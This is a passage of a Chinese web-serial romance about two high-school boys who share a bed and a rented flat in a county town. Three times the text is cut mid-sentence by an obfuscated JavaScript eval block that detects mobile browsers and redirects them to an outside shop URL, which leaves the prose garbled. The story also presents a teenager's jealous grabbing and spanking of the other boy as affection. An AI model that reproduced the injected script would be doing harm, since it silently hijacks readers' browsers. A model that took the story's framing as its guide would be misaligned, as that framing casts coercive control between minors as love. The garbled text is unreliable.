江措刚想问什么是标间?沈泱站在江措旁边,要求道:“开大床房。”他都睡了一个月的小床了,沈泱喜欢睡大床。 江措:“大床房。” 房间在三楼,需要步行上楼。 江措用钥匙打开宾馆刷了红漆的厚实木门,说是大床房,房间面积不算特别大,大概十五六平的样子,有一扇巨大的窗户,正对穿城而过的大塘河,房间中央是一张两米长宽的白色大床。 沈泱拿睡衣去浴室洗澡洗头,学校里洗澡洗头很麻烦,只能接了热水在狭小的浴室里冲洗,比江措家还要麻烦,因为热水并不是从水龙头里流出来的,而是学校的锅房每天会烧两炉热水,抢完就没有。 每次一放学,便有女生快步冲向宿舍,拿了热水壶去接水,江措给沈泱准备的洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979676|193520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 澡水,也是下课后去锅房里和女生抢来的,男生大多不讲究,没几个人抢热水洗澡。 洗漱完,沈泱穿着睡衣从浴室里走出来,掀开被子,躺进床上,舒服地叹了一口气。 县城随时都有网络,沈泱拿过手机,回了几条穆宁然的消息,又随便翻了翻网页,他觉得犯困了,手机放下。 沈泱刚打算躺下,江措带着一身水汽,穿着不合身的睡觉衣服从洗手间里走了出来。 自然地睡在床中央的沈泱眼睛倏然睁大,坐了起来,“江措,你不回宿舍住吗?” 江措走到床靠近洗手间的那侧,掀起眼皮,看了沈泱一眼,“我今天说的是我们今晚住宾馆。” 他没有加重我们两个字的读音,但聪明的沈泱捕捉到了他的言外之意。 江措抖了抖被子,单膝微屈,单腿跪上床,大腿的肌肉收紧,柔软局促的睡裤勾勒出一个微隆起的肌肉弧度。 沈泱往靠窗户的那一侧挪了挪,从头到脚打量江措,“你洗干净了吗?” “你可以检查,公主。”江措另外一条腿也上了床,他现在是两只小腿都爬上了床,像是跪在了原来应该独属于沈泱一人的大床上。 沈泱才懒得检查。 江措的个人卫生他一直很放心,他见过其他采松茸的藏民,手指甲里全是黑泥,江措每次回家,十根手指头永远干干净净,没藏一点黑泥。 沈泱闭上了眼睛,给自己盖好了棉被。 紧接着,他感受到旁边的床垫有人躺了下来。 沈泱以为自己很久才会睡着,虽然这里没有一百九十九头牛在自己身边嚎叫,可床上还有一个人,酒店的环境也是很陌生的环境,不知道是因为太困,三天没睡好的原因,还是其他的原因,躺下不到一分钟,沈泱就睡着了。 暖色调的灯光洒在他紧闭的眉眼,沈泱的长相没有任何攻击性,睡着的时候,简直可以用天使来形容。 沈泱很快睡着,但房间里的灯没有很快被关闭。 夜深人静,就连城市中心广场鼎沸人声都开始散去的时候,雪白的墙壁上投射出一只修长胳膊的影子,青筋盘绕的粗糙大手摸到床头灯光的控制器,满是薄茧的指腹用力往下一按。 明亮太久的房间终于陷入一片漆黑中。 沈泱醒了过来,眼睛睁开,先看到窗外雾蓝色的天空,时间应该还早,沈泱翻了个身,然后就愣住了…… 昨晚临睡前,他记得他和江措顿珠中间明明隔了三四十厘米,现在两个人竟然是靠在一起的,难怪他昨天晚上觉得后背热! 江措顿珠是揣了个小火炉吗? 但沈泱没有生气,或许是因为昨天晚上睡了很舒服的一觉,甚至可以说是这一年来最舒服的一觉,他睁大眼睛,借着从窗户透进来,熹微的晨光打量江措顿珠。 江措顿珠轮廓深邃刚毅,哪怕是闭着狭长的眼睛,也有一种不好招惹的冷漠气场存在。 沈泱盯着他,眼睛倏然慢慢地瞪大了。 13.第 13 章 江措顿珠睁开了眼睛,一张近在咫尺的小脸映入眼帘,没有彻底清醒的他眼睛里闪过一丝茫然。 沈泱一直有点赖床,早晨醒过来的时候,从来不愿意立刻离开被窝。 他侧着身体躺着,柔软的棉被被他拉到脖下,沈泱对醒过来的江措讲话,语气有点惊讶和惊喜,“江措,你知道吗?你的眼皮上有一颗小黑痣,而且是左右两个眼皮都有,大小和位置都几乎是对称的!” “你知道吗?江措?” “不知道。”江措嗓音沙哑地道。 “不知道啊?”沈泱坐了起来,睡了一晚的柔软白T从他一侧肩膀滑落,一片霜雪似的肩膀露出来,映在江措狭长而不见底的瞳仁里。 沈泱随意地往上拽了拽。 接着,他伸长胳膊拿起床头柜上的手机,转过头说,“江措,你把眼睛闭上。” 江措看了他一眼,老老实实地把眼睛闭上了。 沈泱打开相机,对准江措的脸。 咔嚓一声,一张照片出现在沈泱的手机相册里。 沈泱让江措睁开眼睛,把手机拿给他看,“你看到了吗?你的左眼皮和右眼皮,都在眼睑上方一点的位置有一颗小小的痣。” 小痣的颜色不深,只比江措顿珠的皮肤深一些,是褐色的小痣,神奇的是两颗小褐痣的大小轮廓颜色竟然完全对称,像是这半张脸折叠后,拓印到另外半张脸上的。 江措盯着沈泱手机上的照片看了片刻,把手机还给沈泱,翻身下床去洗漱,神色淡然无波。 似乎这不是他长了十七年,头一次有人发现他眼皮上竟然还有两颗这样对称的小褐痣,也不是长了十七年,头一次有人镜头瞄准他,只为了给他拍一张照片,也不是头一次,有人因为发现他脸上某个小特征,变得惊喜和惊讶。 沈泱起床时,拖拖拉拉的,抵达学校时早自习已经开始了十几分钟,沈泱干脆也不着急了,慢条斯理地在一中门口的小摊贩前挑选了半天,最后买了一个糯米饭团回教室。 江措先把两人的东西放进他的宿舍,又去教室里上了早自习,接着请假出门找房子。 中午午休的时候,江措顿珠出现在了高三四班的门口,昨夜睡得好,沈泱今天一点不困,没睡午觉,精神抖擞地翻看曲安林借给自己的漫画书。 “沈泱。”江措出现在了自己的课桌前。 沈泱赶紧放下书,和江措去了教室外面的走廊上。 江措说:“房子已经租好了,就在学校后面直走五百米的小区,上学步行大概十分钟,我上午已经签合同了,也把房子收拾好了,晚上放学我们就收拾东西搬过去。” 晚自习结束后,沈泱和江措收拾好东西,来到江措租的房子里。 县城的房子基本都没电梯,六层楼的房子,江措租的房子在四楼。 用钥匙打开门,江措按亮灯控器,白色的地砖带着淡淡的黄色条纹出现在沈泱的眼底,墙壁不能说雪白,但看起来并不脏。 客厅里有电视冰箱和沙发,沈泱往里走,看见厨房和洗手间。 打开猪肝红的房门,这应该是这间套房子的主卧,大概有十三四平,靠墙的地方是三拉门的定制衣柜,和衣柜平行的是一张两米宽的大床,旁边有一个梳妆台,原来这里应该有住女生。 房间的窗户没临街,对着小区,尽管也没什么小区环境,三四栋楼中间就几个小花坛。 沈泱去推另外一间房门,“江措,这个门是不是坏了?我打不开。” 江措正在把蛇皮袋里的东西拿出来,棉被先放在沙发上,瞥了一眼沈泱说,“那扇门没法打开,房东锁了,里面放着他们的东西。” 沈泱:“?” 沈泱严肃道:“那这个房子是不是只有一个卧室?” 江措又掀了一下眼皮,慢吞吞地说,“回宁村我家也只有一个卧室。” 沈泱不太满意,“可是那个屋子里有两张床!” “你要再买一张单人床吗?”沈泱盯着卧室里的空间,再挤挤,不是不能放下一张狭小的单人床。 江措抱着几床被子走进卧室,“我要睡这个床,你想睡单人床?我可以给你买一张。” “谁要睡单人床了?”沈泱不服气地说,“我是让你睡。” 江措没吭声,也没抬眼,只是像勤劳肯干的老黄牛一样,帮沈泱铺好被子。 这套房子是一对小夫妻的婚房,结了婚住了小三年,夫妻去外地打工了,小孩给父母照顾,老人决定把房子租出去,一年也会有一点收入。 床很大,沈泱被子是一米五的,铺不满床,江措粗大的手掌握着柔软的棉被,用他们俩各自的被褥在床上铺了两个被窝。 “好丑啊。”沈泱噘着嘴,站在门口嫌弃,“哪里有床上铺两个被窝的。” 江措铺好床,低着头,一声不吭地把蛇皮袋里其他的东西归纳到其他的地方。 沈泱拿了睡衣和洗漱用品去洗手间,淅淅沥沥的水声传了过来,洗完澡,江措还在客厅里忙碌,沈泱回到房间,盯着一个藏蓝色的被窝,再偏头,盯着旁边鹅黄色床单和土黄色被罩,应该是滞销后被江措买回家丑东西,无可奈何地叹了口气,掀开了自己的被窝。 江措把东西归纳齐整,冰箱好久没用了,他擦洗了一遍,通上电,拿了衣服去卫生间冲洗,回房间的时候,就见说床好丑神色很嫌弃的沈泱竟然睡着了。 躺在他的被褥里,脸蛋却朝着江措被窝的方向。 江措脚下的步子放轻,来到床边,神色看似波澜不惊地盯着沈泱看了半天,关了灯,掀开被子,摸索着躺下了。 “沈泱,沈泱,沈泱,起床了。”沈泱的手机闹钟响第四遍时,江措又一次站在床边帮他关掉,蹙着眉,叫他起床。 沈泱又一次把头缩进被窝里,含糊道:“我再躺一会儿。” 又过了五分钟,见沈泱还是没有要起床的打算,江措索性直接掀开他的被子。 “江措,你干什么?”沈泱睁开朦胧的眼睛,半眯着眼睛在床上摸索自己的被子,又搓了搓有些冷的身体,起身冲江措大叫。 江措把他的被子抱在怀里,冷静地提醒道:“六点五十五了,再不起床要迟到了。” 沈泱难受地啊了一声。 他趴在床上,屁股高高地撅起来,头埋在柔软的枕头里烦躁地蹭了蹭。 江措看着沈泱灰色睡裤的裤腰因为他的姿势往下滑,一点雪白饱满的皮肤悄悄地露出来,如果江措再往前走一步往下看,说不准还可以看见那条若隐若现的沟壑。 江措没有动。 因为沈泱拖拖拉拉不愿起床,两个人抵达学校的时候早自习已经开始了几分钟,沈泱不开心的踹了江措一脚,很生气地责怪他为什么不早点叫醒他。 沈泱说完话,又赶紧咬了一大口糯米饭团,鼓鼓的腮帮子用力且生气的咀嚼,埋怨的目光投在江措身上。 仿佛两个人迟到,真的是因为江措的错误。江措低下头,或许因为他是个老实沉默好脾气的男人,并没有和无理取闹的沈泱计较。 用手掸了掸裤腿上细微的一点灰,江措接过沈泱吃不下的糯米饭团,两大口咀嚼完,将沈泱送到他的教室门口后,不紧不慢地回到他的教室。 中午的午休时间加上午餐时间,有两个半小时,趁着中午午休,江措去棉花店添置了一床新的棉被,一床两米宽二点二米长的大厚棉被。 回到两人租住的房子后,江措重新铺床,把这床被子垫在床垫上,床中间终于没有了因为两床被子拼接一起,导致的凹凸不平,限制某人翻身的人为界河。 床单薄,不需要更换,江措那边铺江措的床单,沈泱那边铺沈泱的床单。 再把沈泱的被子放进衣柜里,等天气再冷一点,可以拿出来给他盖。 下午江措和沈泱在食堂吃完晚饭,江措又离开了学校。 七月份挖松茸虽然有一些危险,但收入不低,抛出沈泱七月的开销,江措开学时,带着一万一来到了学校。 江措的学费和学杂费全免,沈泱的学费和学杂费缴了一千四,这次租房子一口气给了半年的房租,花了四千多。 总而言之,江措手里只剩下五千多块钱了。 如果这五千块钱只给江措一个人开销,明年这个时候他应该都没办法用完,但沈泱是个小公主,是个小少爷,如果没有大额开支,五千块钱也就够他用三四个月。 江措计划找一份兼职。 江措在县城读书的这两年,去网吧里当过几个月网管,还在快餐店里兼职过一个寒假,挑东西的苦力和建筑小工也都干过。 江措走了一条街,看到一个网吧在招网吧,江措推开玻璃门,走了进去。 网吧的晚上是最热闹的时间段,鼎沸的人声游戏音效声混着泡面零食汗味和香水味席卷江措的五感。 网管习惯性地朝江措伸出手,上机要身份证。 江措没动,问:“要招网管吗?” 网管小哥抬头,打量了他一番,说道:“是要招,你等一下,我去叫老板过来。” 他上了二楼,过了一会儿,一个年龄约莫三十岁的男人走了下来,对方身材干瘦,穿着一件版型宽大的西装,从二楼下来的时候盯见杵在柜台的江措,先皱了一下眉。 男人点了一根烟,用短短的食指和中指夹着烟,仰头盯着身前的江措,烟雾直接喷到江措的脖子上,男人的脸色有一点扭曲,“以前干过网管吗?” “干过。”江措说,“春风街的泡椒凤爪网吧,我在里面做过几个月网管。” “泡椒凤爪?去年它关门了吧?”男人扭头问旁边的网管小哥。 网管小哥点头:“是倒闭了,现在是个ktv。” 男人又吐出一口烟圈,语气嫌弃道:“你不太吉利啊。” “多大了?” “过了年就十八。” 男人的眉头又皱了起来。 江措说:“我会修一些电脑,如果不是很复杂的问题。” 男人仰着头,盯着过高的江措来了点兴趣,“学过电脑维修?” “做网管的时候网吧里电脑偶尔会出一点问题,研究过。” 男人噗嗤一声笑了,“小进,你做了两年网管了,会修电脑吗?” 小进摇头:“哥,那电脑那么贵重的东西我一个管开机的怎么会?” 男人嗤笑一声,又吸了一口烟,朝着江措吐去,“行了,你走吧。” 灰色的烟雾萦绕在江措经络盘旋的脖颈上,江措垂着眼睛看了一米七不到的男人一眼,转身离开了网吧。 男人讽刺的议论声传入江措的耳膜里,“做过网管就会维修电脑?难不成是个男的就有一个漂亮老婆了?” 江措离开了网吧,他又去了两家店,一家是招聘服务员的中餐厅,餐厅主要是做宴席承包,江措不但不能全职,只能晚上六点后来上班,时间不合适,拒绝了。 另外一家是奶茶店,奶茶店是轮班制,可以接受晚上上班,不过江措太高,压迫性太强了,店里的其他人都是女生,虽然希望这次可以招一个男生,但江措长相不善,眉眼冷厉,高大的身躯更是显得他异常危险,老板思索了一下,还是拒绝了他。 第一天晚上没找到工作,江措第二天晚上又去找了一晚上,终于找到了一份工作。 是在一家羊肉火锅店里做服务员。 那家羊肉火锅店生意最繁忙的时间段是晚上六点到十点,江措的上班时间恰好可以覆盖店里最忙碌的时间。 老板是个泼辣的中年女人,听说江措还是一中的学生,因为父母双亡,还有一个弟弟要养,原来打算一个小时给他七块钱的兼职费,后来心一横,长了两块钱。 江措晚上六点到十点半上班,半天可以赚四十块钱。 江措回到学校,上了最后一节晚自习,晚自习结束后,江措在沈泱的教室门口等到沈泱,告诉他,以后晚上他要去兼职,下午放学后的晚饭要自己去吃,因为兼职的下班时间是十点半,他也要一个人回家了。 “那你以后都不上晚自习了?老师能够同意?” 今夜的风有点大,江措走在风吹过来的那一侧,夜风就只能落一点在沈泱的身上了。 江措:“一般是不会同意的。” 沈泱正想张嘴,江措又补充说:“不过我成绩好。” 开学快一周了,沈泱也认识了一些新同学,关系最好的是他的同桌曲安林,告诉了他江措很多的事情,比如江措成绩很好,从高一到高二,基本都是年级第一,学校也非常重视他,据说他每年的学费和学杂费全部都是免除了的。 去年他还去蓉城参加过数学竞赛,虽然没有获得很好的名次,但也超级厉害了,他们这个小地方没有竞赛培训班,更没有这方面的老师,完全靠江措天赋异禀。 而且前几天刚开学,首当其冲的就是两天摸底考,全程按照高考的时间安排。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983886|193520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >截至今天,差不多所有的考试成绩都出来了,江措顿珠的排名年级第一。 沈泱真的好震惊,虽然他不怎么学习,但他也没看见江措顿珠学习啊,他为什么能考这么多分? 江措顿珠:“把题都做对。” 废话!沈泱气的又踹了他两脚,他难道不知道把题做对可以得分,问题的关键不应该是怎么把题做对吗? 算了,他也不需要那么高的分数。 沈泱贴近江措一点,冷白色的路灯投射在两人交叠的身形上,坑坑洼洼的马路上,两人的影子融合在了一起。 沈泱像是密谋什么重大的事情一样贴近了他,超级小声的询问,“江措,你说我也可以不上晚自习吗?” “不可以。”江措不假思索地说。 “可是你都可以!” “我能考年级第一。” 沈泱不开心地用力地哼了一声,加快脚步,三两下就走到了江措前面去了,江措没着急跟上去,不紧不慢地走在沈泱身后,看着他气冲冲的背影。 暑假结束后的摸底考试成绩今天全出来了,小少爷成绩在一中中等偏下,全校三百多名理科生,小少爷在一百七十名,这个结果比他预想得好一点。 他看出来了,沈泱不喜欢学习,他也不会强迫他学习,反正他只要在他身边就好了。 但是,应该遵守的规则他必须要求沈泱遵守,不容丝毫违逆。就像学生应该每天去上课,签下的最重视江措的契约也应该好好地履行,毕竟,江措也有在努力地承担他应该承担的义务,把留在自己的身边的沈泱养的很好。 九月一号,江措拿到了在羊肉火锅店兼职的工资。 因为表现得很好,有一次火锅店里的两拨顾客差点因为几句口角大打出手,是长相凶悍出手凌厉的江措及时制止了,避免了店里遭受更大的损失,而且江措记性非常好,哪怕是同时服务多桌顾客,江措从来不会记住每一桌顾客的菜单,这在客如云来的火锅店,是非常难得的。 除了江措本来的工资之外,老板还给他了一笔丰厚的奖金,天要降温了,让江措去买几件厚衣服。 今天晚上的生意好,不到十点羊肉全部卖完了,江措难得提前下了班。 江措摘下摘下满是羊肉火锅味和各种烟酒水味道的围裙,摸出裤兜里三块钱买的塑料电子手表看了眼时间。 他能赶得上去校门口接沈泱放学。 九点五十,一中的铃声响了。 亮着灯,刚才还十分静谧的教学楼瞬间活了起来,轰隆隆的各种声音传出来,住校的学生收拾东西回宿舍,走读的学生们三三俩俩结伴离开学校。 沈泱关系最好的曲安林是走读生,中午的午休时间长,他要回家吃饭,一中的晚餐时间只有不到一个小时,曲安林的妈妈给他钱,让他在学校或者学校附近买饭吃。 江措每天下午的课一上完就赶着去火锅店里打工,晚上沈泱正好和曲安林作伴。 走出教学楼,尤其是校门口,一阵冷冽的寒风吹了过来,曲安林今天衣服穿得有点少,打了个哆嗦,胳膊环抱住沈泱取暖,“嘶,今天晚上怎么这么冷?” 沈泱也觉得有点冷,前几天江措给他买了毛衣,让他加在外套里,沈泱觉得不冷,就没有穿,他颇为赞同地点了点头。 身体也朝曲安林靠过去。 两人以一个很亲密的姿势靠在一起。 就在这时,似乎感受到了什么,沈泱抬起头朝不远处一看,神色有点惊喜地叫了一句,“江措。” 曲安林哆嗦着朝沈泱看过去的方向看去,一道冷冰冰的视线不加掩饰地盯着自己,曲安林忽然觉得周身的气温更冷了几分。 他咽了咽不存在的口水。 沈泱等江措朝他走近,才发现江措脸色不太对劲儿,黑沉沉,像是积攒了几个小时的厚重乌云,狂风暴雨随时会倾盆而下。 曲安林的胳膊还抱着沈泱,沈泱也没有做出任何要阻止的动作,江措脑子里有一根名为理智的绳索,啪嗒一声,轻轻地、又无法忽视地断裂了。 他猛地一把将沈泱从曲安林的怀抱里拽出来,眼神冷戾地扫过和沈泱关系很好的曲安林,曲安林本来还想说江措同学,你好,一时间什么都说不出来了,只是感觉浑身都像冰锥子冻住了一样。 江措拽着沈泱的胳膊大步流星地往两人租的房子走去,江措一米九三的个头,腿很长,此时走路的速度又快,沈泱被他毫不收敛力气地拽着胳膊,要小跑着才能追上他。 “江措,你放开我。” “江措,你走慢一点!” “江措,江措!” 沈泱在回家的路上,喘着粗气,不停地冲着江措讲话,要求他停下来,慢一点,江措始终充耳不闻,速度飞快地带着沈泱往家的方向赶去。 咔哒一声,钥匙被男人青筋环绕的大手粗暴地戳进锁洞里,施加已经克制过了,仍旧非常暴躁的力量扭开。 江措把沈泱推进客厅的同时,终于松开了一直钳制住沈泱的胳膊。 灯光打开,沈泱甩了甩虽然隔着两层衣服,但仍旧被江措捏得生疼的小臂,非常生气地说:“江措,你在干什么呀!你把我的胳膊捏得好疼,肯定都青了!” 沈泱伸出手,想挽起袖口,让江措看看他今晚的恶行。 袖口还没有挽起来,江措低沉的声音在客厅里响了起来,带着一股不容忽视的寒意,“沈泱,你竟然让别的男人随便抱你!” 沈泱愣了一愣,后知后觉地明白过来了江措在什么气,他觉得江措有一点不可理喻,“曲安林只是觉得冷,所以才抱着我的。” “他觉得冷就可以抱你了吗?那我觉得冷是不是就可以把手放到你的肚子上取暖!”江措的语气并不平静,狭长的浅褐色瞳孔里有一种遏制不住的暴虐在涌动,此时此刻,他像是一个领地被侵占而开始发疯的野兽一般。 话说完,江措猝不及防地掀起沈泱的灰色卫衣和黑色长T,不管不顾地把自己的手掌贴在了沈泱赤裸的小腹皮肤上。 江措的手掌不算很冷,可人类腹部的体温要比手掌高很多,他的手掌刚放上来,腹部传来一股无法忽视的寒意。 沈泱冷的一瑟缩,下意识往后退半步。 江措另外一只大手按住他的后腰,阻止了他往后退缩的动作,右手更重的贴着沈泱柔软细嫩的皮肤,厉声道:“你躲什么?我手冷啊,怎么,别人身体冷就可以抱着你,我手冷就不可以碰你了吗?” 14.第 14 章 草! 沈泱把自己吃奶的劲儿都使了出来,下死力的踹了江措一脚,这一脚和平时打打闹闹的一踹不同,江措明显的感受到了小腿传来的疼痛感。 更恼了,贴在沈泱小腹上大手猛地加重力道,满是厚茧的大手在沈泱温暖细腻的小腹上不管不顾地乱取暖一通。 气得沈泱咬牙切齿地骂他混蛋大坏蛋江措炖猪江措炖死猪倒数第一名,又用脚去踹他,用手去拍他的肩膀,妄图扇他巴掌。 等到沈泱气喘吁吁,双颊通红,力气告罄时,江措终于从沈泱身上拿开了手,嗓音一点都不平静地告诉他,甚至还有一种威胁恐吓的味道,“沈泱,你再让别的男人随便抱你,你下个月就别想要零花钱了!” 一中食堂里的晚餐两荤一素只要三块五,学校外面的狼牙土豆铁板烧土豆煎饼一类的东西也可以在四块钱内填饱肚子,他早餐和午餐因为是和江措在一起,江措付钱,江措每天给他八块钱,除了四块钱的晚饭开销,还有四块钱作为沈泱的零花钱。 曲安林的妈妈都只给曲安林六块钱呢,有八块钱的沈泱是可以享受曲安林羡慕的眼光的,可是好可恶的江措竟然要把四块零花钱收回去!! “我讨厌你!”沈泱恶狠狠地踹了江措一脚,又要抬手江措一巴掌。 江措握住了沈泱要挥他巴掌的手腕,神色平静了一些,但眼眶还是带着一点暴怒后的红,像是受到了很强烈刺激的高原野生牦牛。 “记住了吗?”江措克制住情绪,问胸膛起伏不定,用江措很不爽的眼神盯着他的沈泱。 “没记住,我就要和其他人抱,我不仅要和曲安林抱,还要和陈海抱,和平措抱,和康卓抱……”气上头来,沈泱不管不顾地胡编乱造,瞥见江措额上的青筋不受控地鼓动,刚刚恢复了一点理智的眼神变得比最开始还要疯癫。 沈泱敏锐地感受到了一股危险,喉结无法自控地滚了两下,沈泱猛然转身,朝卧室里跑去。 “江措顿珠!”一声惊恐的尖叫响了起来。 沈泱身为一个男孩子,当然有力气,或许也算不得很小的力气,他以前在学校里,和其他男生掰手腕的时候,沈泱并没有那么容易输掉。 可是那点力气对江措来说就和小猫挠人一样,有点疼,但完全没办法制止住他接下来的恶劣行为。 江措把沈泱按在了原来属于一对夫妻的大床上,不容抗拒扒下了沈泱的外裤,“啪”地一下,完全不收敛力气地打了下去。 灰色的内裤包裹着丰润的屁股,江措神色冷漠地看着他屁股上饱满的肉嘟嘟地颤了颤,又是“啪”“啪”完全不收敛的两巴掌甩了下去。 江措厉声道:“沈泱,以后还敢让别的男人随便碰你吗?” “人家冷,抱我一下怎……” “啪”的一巴掌又落了下去。 “以后还敢让别的男人随便碰你吗?” 沈泱的声音里已经带了点哭腔了,“江措顿珠,你是个混蛋,大大混蛋,你早晚都会被拿去炖猪的,炖一头大肥猪……嗯。” 一巴掌又落了下去。 “以后还敢让别的男人随便碰你吗?” 沈泱不吭声了,只有压抑的轻微啜泣声从床上传了出来。 江措顿珠:“我数三二一,你不出声,我就当你默许了。” “三,二,一。” 沈泱头埋在柔软的床被里,仍然委屈压抑地抽泣着。 江措顿珠松开他,把被他拽下来的卫裤往上拽了上去,挡住了沈泱发红发肿的屁股,紧接着,他刚准备起身离开房间,刚刚还把头埋在床上难受哭泣的沈泱嗖地一下跪坐了起来,屁股结结实实地碰到了小腿肚,不容忽视的疼痛感传来,沈泱眼泪差点又流了出来。 沈泱怒不可遏地站了起来。 他站在床上,比江措顿珠高了好长一截,他恼怒地抬起脚踹在江措顿珠的小腹上,眼泪糊了满脸,依然气势汹汹地骂他,“江措顿珠,你这个大混蛋,我记住你了,我永远都记住了,我长这么大,还从来没有人打过我的屁股呢!!” 江措没躲避沈泱拳脚相向,他嗤笑了一声,语气似乎是很平静地说道,“你当然得记住我,你一辈子都得记住我。” 又讲这样的话,“有一点开心,关于我是第一个打了你屁股的人。” 啊啊啊啊啊啊啊啊啊啊啊啊! 好可恶的江措顿珠,沈泱忽然停止了对他的拳打脚踢,他弯下腰,低头,怒气滔天地在他的肩膀上咬了一口。 江措的脸色有微弱的,不易察觉的变化。 沈泱嘴巴里满是粗糙布料的恶心味道,他偏过头,张开嘴巴,厌恶地“呸”“呸”了两声。 甩掉脚上的袜子,沈泱闭着眼睛,侧躺在床上,摸到江措掀到一旁的被子,盖好,挡住脸。 江措盯着将自己藏进被窝里的沈泱,过了片刻,离开了房间。 过了一会儿,沈泱又听到了江措走进房间的脚步声。 江措说:“水给你热好了,你可以去洗澡了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987719|193520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这两天房子里的热水器出了问题,房东还没找人来修,沈泱每天晚上烧水冲洗。 沈泱躺在床上,一动不动。 “不洗吗?脚也不洗?”江站在床头说。 把自己埋在被窝里的人没有给江措任何回应。 江措又离开了房间,过了片刻,他拿着一条米白色的毛巾回到了房间。 掀开沈泱下半身的被子,江措一把捏住沈泱骨感十足的脚踝,湿润的帕子擦上他雪白的一双脚。 沈泱猛然坐了起来,屁股用力接触床铺,传来一点不可忽视的疼。 “江措,你在干什么?”沈泱大吼一句。 江措:“不太能接受你不洗脚就躺进床上。” 啊啊啊啊啊啊! 这个人怎么有脸来嫌弃自己,他那么黑,身上那么多难看的伤疤,还喝自己的洗脚水,他都没有嫌弃他,他怎么敢嫌弃他! 明明江措才是他们俩之间更不讲个人卫生的人,他都还吃沈泱的剩饭呢,沈泱都没办法接受吃别人的剩饭。 擦干净沈泱的脚,江措又换了一根毛巾来给沈泱擦脸。 江措回到房间,沈泱穿着拖鞋站在了地上,眼神凶狠,但其实对江措来说,并没有任何威慑性地扫了他一眼,沈泱拿着睡衣去浴室洗澡。 洗完澡,沈泱木着脸回到房间,江措递给他一管药膏,“屁股消肿。” 沈泱看都没看他一眼,也没有施舍给江措手心里的药膏半分眼神,目不斜视地掀开被子,上了床。 江措把药膏放在沈泱床边的床头柜上。 快速地收拾干净洗手间,江措洗了个澡,擦干头发回到卧室的时候,药膏还放在原来的位置。 沈泱没碰一下。 江措关了灯,躺了下来。 第二日,江措一如既往地叫沈泱起床。 沈泱抓紧被子,“我今天不要去上学了!” 江措扯走他攥得紧紧的被子,脸色不善地道:“沈泱,你该起床了!” 沈泱好生气的坐了起来,屁股又用了力,疼得他脸色扭曲,沈泱没藏住自己的委屈,“我今天怎么去上学,我屁股痛,肚子也痛,手臂也痛,我今天要请假!!!” 江措:“起床,去上学。” 沈泱慢慢地瞪大了眼睛,没办法相信这么无情的话竟然是从江措嘴巴里吐出来的。 江措神色看起来没有半分心疼,“只有你疼了,你才会长记性,知道什么事可以做,什么事不可以做。” 15.第 15 章 沈泱:“……” 沈泱拿起一旁的枕头,重重地扔在了江措的身上,觉得不解气,又站在床上,把江措的枕头踩在脚下,当着江措的面,堂而皇之脚踩了好几下。 沈泱起床了,洗漱前,江措把昨晚上的药膏递给他,“疼的是你,随便你抹不抹。” 沈泱凶神恶煞地把江措手心里的药膏抢了过来。 “沈泱,昨天,江措和你……”早自习,曲安林斟酌着措辞,犹犹豫豫地询问道。 他知道江措和沈泱是住在一起的亲戚,但昨天晚上,江措的眼神看起来太可怕了。 他和江措做过半学期的同班同学,在还没有文理分班的时候。 那几个月,江措永远是一副漠然沉默的表情,不管是考年级第一,或者是被人议论他爹是个杀人犯,他都那副无关紧要的表情,他一直以为江措不会有其他的表情。 沈泱很想朝曲安林讲述江措的恶行,让曲安林和他一起愤怒地谴责江措,但这只能是脑海里想一想,他情绪不太高地说,“昨天晚上,他被他打工地方的老板骂了一顿,心情不好。” 沈泱开始脑补,自己穿着火锅店老板的衣服,颐指气使,江措低眉顺眼地站在他面前,委委屈屈挨训的模样。 心里好受了一些。 屁股又有一点不舒服了,沈泱挪了挪放在板凳上的屁股。 短短的一截早自习,沈泱的屁股一直动来动去,曲安林靠近他,贴心地道:“你是想上厕所吗?老师又不在,你不用忍着的。” 屁股疼的沈泱:“……” 他不爽地说:“我不想上厕所。” “那你?”曲安林疑惑地问。 沈泱嘴巴张了张,半晌后,终于找到一个可以对外人讲的理由,“昨天晚上被一只毒蚊子欺负了,有点痒。” “那你要弄药呀。” “弄了,可能等会儿就好了。” 江措顿珠的药膏很管用,第二天下午屁股就不怎么疼了,不过沈泱把原因全部归结于药膏是不太理智的,没有想到如果江措如果用尽全身的力气,他可以打昏一头牦牛,沈泱的屁股挨了那么惨烈的几下,怎么会两天不到,就不太疼了。 吃完午餐,沈泱回到教室,他趴在桌子上睡了一会儿午觉。 沈泱脸上带着被课桌膈出来的两道红印,捂着嘴打了个呵欠,前桌的宋海叫了他一声,“沈泱,你醒了,吃蛋糕吗?” 宋海放了一个四寸大小的蛋糕在他的课桌上,周围围了好几个男同学,蛋糕还没来得及吃。 宋海把蛋糕捧到沈泱的课桌上,分给他和曲安林一人一个透明的塑料勺,“这是我姐姐做的,不知道好不好吃,你们尝尝吧。” 